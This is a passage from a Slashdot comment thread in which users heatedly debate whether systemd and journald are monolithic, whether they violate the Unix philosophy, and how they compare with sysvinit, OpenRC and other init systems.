      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    69. Re:Just keep it away from Gentoo and I'm good by steelfood · · Score: 1

      Do those components work alone? Can they be built separately (with some shared utility libraries)?

      If the answer to the above are both yes, then it's not monolithic. But if either answer is no, then it is.

      --
      "If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
    70. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      GNU coreutils violates Unix philosophy a great deal. I've been burned many, many times by 'enhanced' functionality of Gnu coreutils over the standard unix utilities. The recent shellshock vulnerabilities are testament to this problem of over extension and bloat.

      Did ash suffer from shellshock? did zsh? no.

      There are only two options when it comes to computer software: Being simple enough that you've read and understood all the software in use on the system, or being so complex as to be uncomprehensible. There is no middle ground.

      *zsh is also bloated, but who uses it for scripting? I use it as an interactive shell, but do all my scripting in ash (/bin/sh on BSD systems), or /bin/rc (from plan9port).

    71. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      I'm afraid that blog definition is crap as well. to say some is monolithic because it has a dependency, you will need to label all programs that depend on something such as glibc monolithic as well. This blog's definition of monolithic is a very lame attempt at being disparaging which is usually the case when the arguments are weak.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    72. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 0

      bollox, you just grabbing at straws

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    73. Re:Just keep it away from Gentoo and I'm good by loonycyborg · · Score: 1

      systemd is modular too, if you consider it to be an OS framework. For example, it can either use its native network management capabilities, which are useful in containers, or use something like connman, network-manager or arch's netctl.

    74. Re:Just keep it away from Gentoo and I'm good by drinkypoo · · Score: 4, Insightful

      Because journald is part of systemd, it is able to start logging earlier in the boot process and continue logging later in to the shutdown process. This is an improvement over syslogd.

      look, either journald is part of systemd or it isn't. If it is, then systemd does multiple things, and should be broken up into more parts. If it isn't, then your argument is nonsense. The truth is that it is sort of both, but only in all the worst ways. journald and systemd depend on one another, so you have to run them both. So in that way, they are part of the same thing. But wait! journald is actually another process. There's no reason another syslogd couldn't have been modified to permit it to save logs in memory until the log storage filesystem was mounted, so that it could be started very early in the boot process and be able to capture logging information for everything. But instead, we got an extra-special log daemon which depends on the extra-special init daemon which provides no functionality not already provided by OpenRC.

      So yes, the early boot logging (though nothing else) is an improvement over existing syslogds. However, the only reason which it was implemented in a journald-specific fashion is that Lennart was deliberately trying to break interoperability to force you to use his syslogd. If something was NIH, he won't use it and considers it inferior to his new, improperly tested code. And we have no reason to trust him; his prior claim to fame is an unfinished nightmare which again has no reason to exist. JACK was around when pulseaudio was created, and spending the effort on making JACK more user-friendly rather than creating a new daemon which shits the bed much of the time would have been better for everyone except Lennart. And that's precisely the situation we have today: we've got a new init+everyotherfuckingthing daemon which often shits all over itself, which is being hailed as the solution to some comparatively minor problems we used to have where it would have been nice to have some more logging, and where some very stupid people can't understand init scripts but want to be able to call themselves Unix admins anyway. So now init scripts are evil, and unit files are the best thing evar.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    75. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      "As a friend put it; the linux kernel uses a monolithic architecture but a modular construction, systemd uses a modular architecture but a monolithic construction." - your friend needs to look up the definition of monolithic (and so do you if you believe his definition). Systemd is a collection of separate executables not a single one so is therefore modular.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    76. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      glibc is a garbage libc, and any code that depends on glibc let alone a specific version of glibc is also garbage.

    77. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      He could address the legitimate complaints, but it is much easier to address the illegitimate ones.

    78. Re:Just keep it away from Gentoo and I'm good by khallow · · Score: 1

      systemd is modular too, if you consider it to be an OS framework

      Why should you consider it to be that, when you already have Linux to fill that role? There's also the matter of what systemd will look like in the future. I see a pattern of creating unnecessary dependencies between systemd and other open source programs and components, based on the creation of unnecessary dependencies to date.

      Sure, in a theoretical sense, it is modular since you have a bunch of identifiable pieces that you can separate as distinct code bases. But when a pile of those modules come in one sticky implementation bundle that you have to take or leave as an entire blob, then you lose that modularity.

    79. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      the Kernel, X, KDE, Gnome etc must all violate the Unix way as well by your interpretation. "not being he Unix way" is a lame argument anyway especially when other Unix based OSs have a similar system in place.

      Just ask dmr (you can't, he's dead), there's plenty of criticism from the original authors of Real Unix (from AT&T) of all the stupid crap that is in spin-off unix, that is not "the unix way". I mean, hell, they realised in the early 90s that they had fucked up the design of Unix, which is why they created Plan9.

      So yea, they do violate the unix way. Adding more stupid shit isn't going to fix the problem. Pretty much all the stupid shit SystemD was created to fix is not even a problem with sysv-int (which is a piece of shit, itself), but problems with the make-shift crap distros created to deal with crappy daemons that don't behave well themselves. Because distros historically are lazy fucks, rather than fixing software when including it in the distro, they just wrote screeds of fixup scripts to try and pretend the crap software is well behaved.

      Well behaved software, like sshd, for example, is simple to start, you run "/sbin/sshd", and it starts. You want to stop it, you run "kill `cat /var/run/sshd.pid`".

      On my linux systems, I don't use any of the distro provided scripts, and just run /etc/rc.start. It's got about 20 lines of code; much less than SystemD or the old distro scripthell, yet it starts everything up just fine. What is the problem SystemD solves, if I don't use SystemD and my system works just fine? pray tell.

      Of course Linux is still a shithole of complex buggy software, and an absolute pain in the ass to configure and use compared to my Plan9 systems.

    80. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      All inits handle ntpd, pretty much like systemd does: They all *start* a daemon.

      Does it really matter whether that daemons code was developed in the same source code repository as the init daemon that started it?

    81. Re:Just keep it away from Gentoo and I'm good by loonycyborg · · Score: 1

      No, Linux kernel doesn't work as OS framework. It's a kernel. Linux OSes never had a proper OS framework, many things can't be done in distro-agnostic way currently. systemd can fix it. kernel can't. Do not suggest bloating the kernel further by dumping this functionality on it, Linus will have none of it! Dealing with Kay Sievers and Lennart Poettering is lesser evil for him :P

    82. Re:Just keep it away from Gentoo and I'm good by AmiMoJo · · Score: 1

      How many programs require glibc? Does that mean they are all monolithic?

      --
      const int one = 65536; (Silvermoon, Texture.cs)
      SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
    83. Re:Just keep it away from Gentoo and I'm good by igloo-x · · Score: 0

      Two of those projects aren't Linux and hence aren't an aspect of a Linux system

      They're aspects of my Linux system. Regardless, they're solutions to problems. The major parts of Libreoffice are integrated because the ability to paste (for example) parts spreadsheets into word-processor document is a requirement that a lot of users have.

      Components of The GIMP are integrated because it's unrealistic to expect users to alt-tab to a terminal to run a separate command that applies a Gaussian blur to the image currently being edited.

      And of course, a big part of the reason why we even have GNU/Linux is because GNU couldn't get their attempt at a modular kernel working in time.

      So no, for certain things, "the UNIX way" is not the best way.

    84. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Binary Logs voids this. If you can't grep the log, then not Unix. Fuck that.

    85. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Journald is part is systemd-the-project, but runs as a process different from systemd-PID1.

      Yes, it would have been possible to use some existing syslog implementation. They are all code, as is journald. But that is not what happened, and no amount of complaining will change that. If it really is a problem, them someone will replace the current implementation with something else.

      No, early not logging is not the only nice thing about journald. I really like being able to search it *fast* and all the extra information that journald stores. That makes it easy to get all the output of one job, everything that happened since the last reboot, everything from one PID, etc. Way simpler than the grepping that we used to do.

      Forward sealing of the logs is also nice.

      Again: all that could have been done with other syslog implementations. These ideas have been around for ages! But it never happened. Not for decades. Do I welcome our new systemd overlords. At least they *finally* get stuff rolling.

    86. Re: Just keep it away from Gentoo and I'm good by drinkypoo · · Score: 1

      No, early not logging is not the only nice thing about journald. I really like being able to search it *fast* and all the extra information that journald stores.

      You don't even need a syslogd for this! All you need is a program which converts the ascii syslogs into binary ones!

      Do I welcome our new systemd overlords. At least they *finally* get stuff rolling.

      If Lennart didn't suffer from NIH disease, then we wouldn't even be having this conversation. NIH is a fine thing when you're a brilliant programmer, but there's no evidence whatsoever that he is even competent.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    87. Re:Just keep it away from Gentoo and I'm good by igloo-x · · Score: 1

      look, either journald is part of systemd or it isn't.

      I said it was.

      If it is, then systemd does multiple things, and should be broken up into more parts

      systemd is a service manager. Logging is an important part of managing services. Just because systemd does multiple things doesn't mean it absolutely has to be split up.

      Oh no! The Linux kernel manages file systems AND network interfaces. BETTER SPLIT THE PROJECT UP!

      Xorg manages input devices AND graphical displays. BETTER SPLIT THAT UP TOO!

      Libreoffice features a spell checker AND a thesaurus. WORST DESIGN DECISION EVER!

      There's no reason another syslogd couldn't have been modified to permit it to save logs in memory until the log storage filesystem was mounted

      Unless, you know, something goes wrong before the file gets saved. That seems like quite a good reason to me, for a logging system at least.

      the only reason which it was implemented in a journald-specific fashion is that Lennart was deliberately trying to break interoperability to force you to use his syslogd

      I stopped reading here.

    88. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Most are stand-alone. Some require systemd to be running as PID1 though.

      That is because systemd offers the functionality to manage cgroups for other processes. The kernel guys decided that there can only be one writer to the cgroups settings and that is systemd-PID1 when you use systemd. So everything that needs to change cgroups those need to depend on systemd-PID1.

      That is a pretty standard layered architecture.

    89. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      For not raising children well, she sure does have a lot of the little runts.

    90. Re:Just keep it away from Gentoo and I'm good by GlennC · · Score: 2

      I've seen the question asked, but not answered....

      If journald is a separate daemon from the rest of systemd, that should mean that I can COMPLETELY REMOVE journald without affecting systemd. Is that correct?

      The answer should be either Yes, which means that the general understanding of the UNIX philosophy is maintained, or No, which would demonstrate that systemd has too many inter-dependencies, and is in fact a monolithic environment.

      --
      Go on, citizen, stamp the vote card. R or D, your choice.
    91. Re:Just keep it away from Gentoo and I'm good by Sique · · Score: 2

      You mean, it tries to start services and also logs the events that happen during the startup? How barbarishly un-UNIX-y!

      --
      .sig: Sique *sigh*
    92. Re:Just keep it away from Gentoo and I'm good by TemporalBeing · · Score: 1

      He says it does not break the UNIX philosophy because everything is in the same code base purposely ignoring that it does not do one thing and do it well. He was creating a strawman.

      The problem is that by putting things in the same code base, it encourages them to be inter-dependent to the exclusion of all else - which is exactly what everyone that doesn't like systemd complains about.

      Separate repositories encourage being stable APIs that everyone has to work against; thus encouraging more things that can be switched out with each other, as well as standards, etc.

      There's a reason behind it.

      --
      Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
    93. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      The only people I ever heard make that same claim were those that did not understand the problems systemd solves :-)

    94. Re:Just keep it away from Gentoo and I'm good by goose-incarnated · · Score: 2

      Every fucking neckbeard over the age of 35 who complains because they purport to be "grand old system administrators who know what they're doing...bla bla..." sure do lack the skill to look something up.

      That, in fact, is the actual problem. We have looked it up. We know how it works. We know why it was designed the way it was. We still disagree that systemd is objectively superior to the stuff it is replacing. Cross-dependencies are, in fact, "monolithic". Many of us have actually written stable systems in the past. Most of us would be ashamed of having anything like pulseaudio in our CV. The problem is not that we don't understand systemd, the problem is that we understand it too well.

      When logically distinct modules A, B, C and D have build+run dependencies such that A depends on B+C and B depends on A+D and C depends on B+A we call that "monolithic". When logically distinct modules A, B and C all depend on D, then we call D a library, such as glibc.

      This new argument getting thrown around this thread using glibc as an analogy is, frankly, stupid. Glibc does not depend on a logically distinct module that also depends on Glibc. Systemd components do depend on each other in this manner.

      The neckbeards that you so casually denigrate know all about UNIX systems, we have written and built various unix-ish systems and come to hate all of the flaws sysvinit had in various incarnations. This perspective makes us ideally placed to point out an init systems flaws. Unfortunately, from what I gather, Lennart has never actually used a unix system other than Linux. What makes his naive and inexperienced perspective so important that it needs to devour an entire ecosystem?

      We are basically asking a full-time windows user to design a boot process; is it any surprise that all he can come up with is a windows-type process? That is all he knows, after all.

      --
      I'm a minority race. Save your vitriol for white people.
    95. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      systemd and glibc don't even fall into the same category. You're trying to compare a system toolchain component(glibc) with a utility(systemd).

    96. Re:Just keep it away from Gentoo and I'm good by dagarath · · Score: 1

      because syslogd cannot handle early boot reporting. By definition Systemd is the first thing to run, so any logging related to this time in the boot sequence has to be handled by it. Since it has to do it anyway, make the utility available for general use. Why have another utility duplicate the functionality when Systemd has to have it for early boot time logging.

      Incorrect, systemd could have just put it's log messages in cache to be passed to the logging daemon when it became available.. just like all the socket based priority features trumpeted about for boot order sequencing.

    97. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      I like systemd alot, but the decision to replace syslog with journaled binary file makes me suspect there are other braindamaged decisions.

    98. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      You know the difference between libraries and frameworks, right?

      Systemd is monolithic in the sense that frameworks, such as Rails, are monolithic. They may be constructed in a modular fashion, but they're interdependent modules which need everything to be just so in order for them to work. You wind up with the whole enchilada, and it says, "put this here, then put this other thing over there, and then magic stuff will happen to these other things." A library like glibc gives you functions which you can use in isolation, generally with minimal-to-no assumptions attached.

    99. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      there's a lot of useless software running already... And you failed to show that it's in any way different than coreutils

      When you create something new, it should be better than what it replaces. Have you never understood "Two wrongs don't make a right"? Just because some other software sucks in certain ways doesn't mean Systemd should suck in those ways too. You've made a horrible argument.

    100. Re:Just keep it away from Gentoo and I'm good by gweihir · · Score: 1

      Same here. Once Debian non-systemd support runs out, I am going to move. This fuck-up has forgotten or never realized that change in itself is not good and that you can make things worse by reinventing them.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    101. Re:Just keep it away from Gentoo and I'm good by armanox · · Score: 1

      I complain about it violating Rule 4: Choose portability over efficiency, 5: Store data in flat text files, and 7: Use shell scripts to increase leverage and portability. It is not portable. It aims to break compatibility with other Unix OS's.

      --
      I'm starting to think GNU is the problem with "GNU/Linux" these days.
    102. Re:Just keep it away from Gentoo and I'm good by Eunuchswear · · Score: 1

      Binary Logs voids this. If you can't grep the log, then not Unix. Fuck that.

      You're giving us all this shit about "the unix way" and you don't know how to write a fucking pipline?

      Twat.

      --
      Watch this Heartland Institute video
    103. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 0

      So, if I compile just the timeserver part, it'll run on my sysVinit system?

      No, it will only run if I also run systemd, so it is not just an independent tool. It is a wholly dependent module.

      Systemd is modular, but due to the inter-dependencies, it is not a toolkit like coreutils.

    104. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      It doesn't track process lifetime. This is an absolutely massive flaw in openrc. Out the window it goes.

    105. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 0

      So what do I have to not run in order to have glibc? Does glibc need to be any particular PID?

      Answers, nothing and no respectively, so my stance is that it's just fine.

    106. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 0

      Ah, totally interchangable tools! Great, I think I'll just run the ntpd part and... That doesn't work? How about if I just run journald and ntpd? Still no? OK, how about just systemd and I'll have some other logger. Damn, still no!

    107. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      The Linux kernel and Xorg, too, are collection of smaller components that work together. But that doesn't make them any less "monolithic."

      The measurement is in terms of how deeply it gets its fingers in other things. If software has to start rewriting itself to support systemd, and drop-in replacements aren't easy, then to hell with our tiresome wordplay - it's the bad kind of monolithic.

      So does systemd fall into that badness or not? Where I'm sitting it's not easy to make the case that it's on the good side.

    108. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 1

      It is incorrect. The tools are inseparable. The traditional Unix tools can be freely mixed and matched and in general are widely portable to other systems. Systemd is somewhat modular, but it is not a toolbox.

      If, for example you want to run the systemd project's time server, you must run systemd and so journald and dbus. Because of that, you cannot use sysvinit or anything that wants to use cgroups (unless it is re-written to talk to systemd). Oddly enough, it also means you can't boot the server with a degraded RAID.

      OTOH, if I want to just run the old ntpd, no problem.

    109. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 1

      Excellemt, do tell how I might run the time server (which is actually an sntp server, not ntp) but not journald or systemd. But udevd is kinda nice so throw that in.

    110. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      You can have multiple libc's installed and each program can use whichever it needs. Try to have multiple init systems running concurrently and see how well that works out.

      Not that I wouldn't prefer if programs were coded so that they could be linked against any standard libc.

    111. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      "Then why did it not handle it before, assuming you mean it has to handle it as journald does now. If it worked without it before then it is not a requirement." journald starts logging long before and after when syslogd could log which is useful (unless you think it isn't of course).

      "Why does init have to handle ntpd?" - it's a configurable option not mandatory.

      Why is it even a "configurable option" then? Why is it even a *part* of systemd, as a package, if it is a "completely separate thing"? And, I can compile *just* the ntpd part of the systemd code and run that ntpd, under my existing sysVinit, as a replacement for the current ntpd, right? Or will it not run for some reason without systemd being there?

    112. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Little correction: You can use syslog, but not in standard way since journald steals the standard /dev/log. You will need to configure (and maybe even add separate support) for non-standard socket location.

      A bit like how systemd decided that debug on kernel parameters is ok for it to go on debug mode, despite kernel already using it (and it caused issues as kernel systemd happened to have a bug that filled kmsg -> actual kernel debug messages were impossible to read).

    113. Re:Just keep it away from Gentoo and I'm good by drinkypoo · · Score: 1

      I stopped reading here and let an anonymous coward leave a more intelligent and thoughtful reply next to mine.

      There, FTFY.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    114. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Why does init have to handle ntpd?

      Unless you read something I didn't see, there is no reason in the world it has to replace ntpd, but the option is there if you want it. On a more serious note, I would conjecture that there are daemons that rely on ntpd, that could be started sooner if there was a version of ntpd that could run before the network was up. why should a program that requires accurate time (hence ntpd) wait for the network to come up in a system with a real time clock? a version of ntpd that would come up to a running state without depending on the network being up would save a large amount of time in the boot sequence. Though your system might not care about boot time, there are many that do, and if the new version of ntpd does everything else ntpd does, why not use it. Pottering could have volunteered a patch for ntpd to add the functionality, but he chose to rewrite it. If you use his version, the system boots 3 seconds faster, if you use ntpd it takes 3 seconds longer to boot. In all other ways its the same...

      Um, well, first off... since ntpd is the network time daemon, one would have to wonder just what use it really would be without the network? Since the default, w/o ntpd is the system clock (in bios), that's all you'd get, with or without ntpd, without a network... right? ntpd does not 'serve' the time, the OS does that, it simply adjusts the system time according to the network - so in reality *nothing* should really "depend on ntpd" anyways - they might depend on needing *accurate time* (for instance authentication mechanisms that rely on the time being within a few seconds between machines), but then again those things probably need a network since the only point of ntpd is to ensure the time *between systems on a network* is synchronized.

      And, of course, when you say "Pottering could have volunteered a patch for ntpd to add the functionality, but he chose to rewrite it" - that is *exactly* the point of what people are saying, it doesn't need to be a part of systemd at all, if it needed more it could be patched as a standalone program, but Lennart/Pottering/RedHat don't *want* that, they want *control* over it as part of their "systemd" package.

    115. Re:Just keep it away from Gentoo and I'm good by khallow · · Score: 1

      They're aspects of my Linux system.

      They both can run under Windows as well. Thus, they aren't aspects of a particular OS.

    116. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      All inits handle ntpd, pretty much like systemd does: They all *start* a daemon.

      Does it really matter whether that daemons code was developed in the same source code repository as the init daemon that started it?

      If you have an existing ntpd daemon, that runs just fine under all the other existing init systems... would *you* write a completely new one for your own init system, or would you simply use the existing one? If you wouldn't simply use the existing one, please explain in detail why you would choose to write your own. If one of those reasons is that it needs new 'features' to interface with your new init system - please explain in detail why those things couldn't be patched into the existing version (that, again, runs fine under all the other existing init systems), and whether any of those new things would *prevent* it from being used under the other existing init systems. And, if you think it is a "better implementation" than the existing one, with more features, please explain why you would keep it bundled in with your new init system and not offer it up ("free as in beer" is the GNU/GPL/opensource motto, right?) as a separate package for use by people under those other init systems (and/or other OS's, perhaps the BSDs, Solaris, etc)?

    117. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Do you know how many different ntpd implementations there are? BSD even have it's own!

    118. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      I'm afraid that blog definition is crap as well. to say some is monolithic because it has a dependency, you will need to label all programs that depend on something such as glibc monolithic as well. This blog's definition of monolithic is a very lame attempt at being disparaging which is usually the case when the arguments are weak.

      Well, my car run on gasoline, so does my chainsaw, but neither would be 'monolithic' in relation to each other even though they both rely on gasoline they both can function completely separately from each other? (And I'd question the wisdom of driving around with the chainsaw running in my car (rollseyes)).

      On the other hand, neither my car nor chainsaw will run without a piston in the engine block, or spark plugs (or many other parts) - so arguably the block/piston/sparkplug is a 'monolithic assembly' since none of them are really useful without the others?

      If systemd & journald can run, separately without the other present, then they are not a 'monolithic whole'. If, on the other hand, systemd won't run without journald, and journald is useless without systemd, then they are indeed 'monolithic' as they serve no purpose without both present.

    119. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Do you claim that software such as Postfix is monolithic? For real?

    120. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Okay, I'll just run sysvinit without /bin/sh.... That doesn't work? How about if I just run without /bin/ls? Still no? Okay, how about just without udev? Damn, still no!

      Sure, all those things are replaceable, but it's hard because they need to match complicated specs (e.g. /bin/sh). Similarly with the tools of other things that need to interoperate.

    121. Re:Just keep it away from Gentoo and I'm good by allo · · Score: 1

      he can say it as often as he wants to. Free speech and so.
      He can compare it to whatever he wants and mark fields with red for other tools and green for his tool.
      We do not need to give a fuck.

    122. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      However, the only reason which it was implemented in a journald-specific fashion is that Lennart was deliberately trying to break interoperability to force you to use his syslogd.

       
      Pure speculation and conjecture. You have no proof of this. Your entire last paragraph was mainly just ad hominem as well. It is your opinion and you are appealing to the masses emotionally to sway them to your side.

    123. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      It exists purely due to Lennart's NIH syndrome, and for no other reason.

      Let me repeat myself since apparently all you do is repeat yourself:

      Pure speculation and conjecture. You have no proof of this. Your entire last paragraph was mainly just ad hominem as well. It is
      your opinion and you are appealing to the masses emotionally to sway them to your side.

    124. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Sysvinit requires a f'ing shell to operate. You would be going crazy if systemd had the same dependency. Not to mention a ton of user-oriented applications such as mkdir, rm, echo, etc. Are you counting these as part of the init system? You should be. I'd like to see you boot without them.

      The fact is that you're simply used to the clusterfuck that is sysvinit. and are afraid of something new.

    125. Re:Just keep it away from Gentoo and I'm good by Atzanteol · · Score: 1

      Why does init have to handle ntpd?

      It doesn't. If you don't want it to then don't install systemd-timesyncd.

      --
      "Ignorance more frequently begets confidence than does knowledge"

      - Charles Darwin
    126. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      So true. It should just quickly log the failures to the console that you're not looking at and simply continue! That's the UNIX Way(tm)!

    127. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 1

      Actually, I don't mind the shell because I have many to choose from. I don't even actually have to have one. I CAN replace rcS with a binary for embedded apps pretty easily if I need to. All those other tools are necessary if I want a more or less normal userspace anyway, but if I don't want a typical userspace, I can leave them out.

      Sometimes I replace the lot of that with busybox. Sometimes busybox is only there as a convenience for debugging through a serial port inside the device. Depending on the environment, login may or may not be involved. If it is just for debugging in-house, I can just have it directly launch a root shell on the serial port.

      And the apps I run on top of that don't care which of those options I choose. That leaves me completely free to choose the best solution for the job.

      I suppose if you were qualified to judge the merits of an init system, you would have known all of that.

    128. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      If bash is a separate application from the rest of initd that should mean that I can COMPLETELY REMOVE bash without affecting initd. Is that correct?

      At least systemd doesn't have a fucking shell built in.

    129. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 1

      Running without ls is trivial (the standard scripts don't use it). You can (and I have) run without udev, just stick the devnodes in a static /dev.

      Embedded devices may well not have /bin/sh on them. Just have init directly call the one and only app. You can even invent your own scripting language and use that interpreter.

      But thank you for playing, please try again.

    130. Re:Just keep it away from Gentoo and I'm good by cas2000 · · Score: 1

      Sysvinit requires a f'ing shell to operate.

      no, it doesn't. there's nothing in sysvinit that requires init.d scripts to be shell scripts - they can be perl or python or anything else. they don't even have to be scripts, they can be compiled binaries.

      the fact is that people write shell scripts - for sysvinit and for other tasks - because it's an easy and convenient language to write in.

      ps. sysvinit isn't the only alternative to systemd. there are others, like openrc, that offer the fairly trivial init & cgroups features of systemd without the huge disadvantages of monolithic borging of networking, logging, ntp, udev, login etc.

    131. Re:Just keep it away from Gentoo and I'm good by Anonymuous+Coward · · Score: 1

      *zsh is also bloated

      No, it's not.

      It's much smaller and faster than bash.

      As to your scripting in ash, it's the worst of two worlds: its lack of features will criple your scripts, without making them compatible with either the posix or the traditional bourne shell. Solaris' /bin/sh should be a much better target if you want a vanilla shell.

      And please stop repeating silly gnu-dissing that makes you feel part of a higher circle: the actual enhancement that 'caused' the shellshock vulnerability (functions as part of environment) was actually copied from plan9's rc, ie the result of the same kind of brainless plan9 snobbery like yours.

    132. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      "So yes, the early boot logging (though nothing else) is an improvement over existing syslogds."

      Yes and no. The kernel log interface already queues log messages during boot that are written by the syslogd process when it starts and checks the kernel log queue.

    133. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Well, but each of these taks is done by a dedicated binary. Logging by journald, process management by systemd, networking by networkd. Systemd not one monolithic binary, but a collection of programs that interoperate. You know, like grep and sed and awk.
      In the case of journald, networkd and systemd, the programs happen to be developed under the umbrealla of the systemd project and are hosted in one repository.

    134. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 0

      what a crap analogy. look up the definition of monolithic, redefining it to suit your argument is a crock of shit. Delete all copies/versions of shared libraries from your system and see how well it works, then by your definition the whole of GNU and linux is one big monolith.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    135. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      WTF are you talking about? ash is compatible with POSIX sh.

      Anyway is /bin/rc vulnerable to shellshock? no, then STFU.

    136. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      I suspect that if they took rsyslog and updated to make it work the way journald works that would cause just as much shit in the forums so writing their own version would have made sense. There are a few important reasons for developing the journal solution listed here in the section "Background: syslog" https://docs.google.com/docume...

      I understand what you are saying but a lot of the startup/kill scripts are basically the same code for starting, stopping and restarting services etc (a lot of duplicated code in many files) so it makes complete sense to launch all the services etc in a rationalised common way but allow for exceptions to the rule.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    137. Re:Just keep it away from Gentoo and I'm good by Pav · · Score: 1

      You've been outplayed... stop being a tool.

    138. Re:Just keep it away from Gentoo and I'm good by Peter+H.S. · · Score: 1

      look, either journald is part of systemd or it isn't. If it is, then systemd does multiple things, and should be broken up into more parts. If it isn't, then your argument is nonsense.

      If you want "metal-to-metal" logging and collating all logging info into a single file, and remain 100% compatible with syslog, you have no other choice than to design a logging system like systemd's "journald". It can't be split off because of how the Linux kernel is designed and handles /dev/log.

      journald can start logging before even the root filesystem is mounted because systemd becomes active already in initramfs and then jumps to the rootfs when it is mounted.

      It is a really good solution to a hard to solve problem.

      If the cartoonish interpretation of "Unix philosophy" and "modularity" had any real substance, serious people would have forked systemd and split it into "modules". (The core of systemd is; systemd (daemon), udev, and journald; everything is optional). But they don't. The reason is simply that systemd have really, really good technical reasons for being designed like it is.

    139. Re:Just keep it away from Gentoo and I'm good by drinkypoo · · Score: 1

      Embedded devices may well not have /bin/sh on them. Just have init directly call the one and only app.

      Embedded devices may well not have init on them. Just load your single executable as PID 1

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    140. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 1

      I have seen that as well.

    141. Re:Just keep it away from Gentoo and I'm good by Peter+H.S. · · Score: 1

      Systemd does startup, it does logging, it does ntpd, it manages processes.. What do you think it does that is just one thing?

      The point is that this is all done by different daemons and tools. So each systemd tool basically just do one thing. It is documented in the man pages if your are interested in facts.

      Oh and by the way, systemd doesn't do "ntpd". Claiming that is a sure sign that you haven't studied the systemd documentation. systemd comes with an optional sNTP client that is meant for use in OS containers, which have special timekeeping needs because of timedrift between host and container when sleeping etc.

    142. Re:Just keep it away from Gentoo and I'm good by Peter+H.S. · · Score: 1

      System is broken by design and totally violates the UNIX philosophy

      Systemd isn't broken by design, it is in fact a brilliantly designed init-system which is why all major Linux distros are converting to it.

      "UNIX philosophy" seems to be a codeword for "I have no real technical arguments against systemd".

      But tell me this, if the most popular certified UNIX platforms are using init systems very similar to systemd, like SMF and launchd, aren't you really claiming that certified UNIX'es aren't UNIX?

      Even non-certified UNIX clones like FreeBSD are talking about the necessity of having a init-system just like systemd/SMF/launchd. It is only a matter of time before all *BSD's have a modern init-system, and of course, they will clone every systemd feature possible.

    143. Re:Just keep it away from Gentoo and I'm good by Peter+H.S. · · Score: 0

      So you like having useless software always running on your machines, that you cannot get rid of, or absolutely turn off? It also still violates do one thing and do it well because it tries to do many things, and seems to do them poorly.

      "journald" isn't useless, even if you don't use binary logging, but forward everything directly to syslog.
